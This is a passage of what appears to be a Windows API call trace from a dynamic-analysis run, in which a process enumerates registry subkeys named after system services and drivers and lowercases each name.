lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0239.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.058] RegEnumKeyW (in: hKey=0x150, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0239.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.058] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0239.058] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.058] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.059] RegEnumKeyW (in: hKey=0x150, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0239.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0239.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.059] RegEnumKeyW (in: hKey=0x150, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0239.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0239.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1a48, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0239.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.059] RegEnumKeyW (in: hKey=0x150, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0239.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0239.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.059] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.059] RegEnumKeyW (in: hKey=0x150, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0239.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.059] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.059] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0239.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0239.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0239.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0239.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0239.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0239.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0239.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0239.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1928, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0239.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.060] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.060] RegEnumKeyW (in: hKey=0x150, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0239.061] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.061] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.061] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0239.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.062] RegEnumKeyW (in: hKey=0x150, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0239.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0239.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.063] RegEnumKeyW (in: hKey=0x150, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0239.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0239.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0239.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.063] RegEnumKeyW (in: hKey=0x150, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0239.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1928, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0239.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.063] RegEnumKeyW (in: hKey=0x150, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0239.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdide", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdide", lpUsedDefaultChar=0x0) returned 6 [0239.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.064] RegEnumKeyW (in: hKey=0x150, dwIndex=0x15, lpName=0x2152850, cchName=0x104 | out: lpName="AmdK8") returned 0x0 [0239.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdk8", cchWideChar=5, lpMultiByteStr=0x21f1928, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdk8", lpUsedDefaultChar=0x0) returned 5 [0239.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.064] RegEnumKeyW (in: hKey=0x150, dwIndex=0x16, lpName=0x2152850, cchName=0x104 | out: lpName="AmdPPM") returned 0x0 [0239.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdppm", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0239.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.064] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0239.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0239.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.065] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0239.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0239.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0239.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.065] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0239.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0239.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1928, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0239.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.065] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0239.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0239.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0239.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.065] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0239.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0239.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1928 [0239.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1928, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0239.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0239.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1928) returned 1 [0239.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0239.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0239.066] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0239.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0239.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 